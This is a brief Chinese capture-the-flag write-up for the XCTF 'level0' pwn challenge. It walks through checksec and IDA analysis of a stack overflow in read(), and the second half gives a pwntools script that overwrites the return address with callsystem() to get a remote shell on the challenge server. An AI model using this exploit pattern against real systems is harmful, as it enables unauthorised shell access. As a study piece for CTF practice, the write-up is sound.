XCTF-pwn-level0
下载改题目提供的文件,使用file和checksec进行分析

该文件是一个64位的ELF可执行文件,而且开启了NX保护机制,不知道其作用如何
使用ida打开,是一道基本的栈溢出
-
return返回vulnerable_function()方法,继续追踪

-
可以看出
vulnerable_function()这个方法有return返回了read()方法

-
这里可以确定,
read()方法会栈溢出,详细可以看我之前的博客:https://www.cnblogs.com/Junglezt/p/17871927.html -
通过
ida找到了一个危险函数callsystem()函数,内容位/bin/sh

编写exp
from pwn import *
r = remote("61.147.171.105",55521)
# callsystem函数内存地址
callsystem_addr = 0x400596
# 发送80个垃圾数据,8个saved ebp数据,最后发送callsystem函数内存地址
payload = (b"a" * 0x80) + (b"b" * 8) + p64(callsystem_addr)
# 发送payload
r.send(payload)
# 获取靶机交互式终端
r.interactive()


浙公网安备 33010602011771号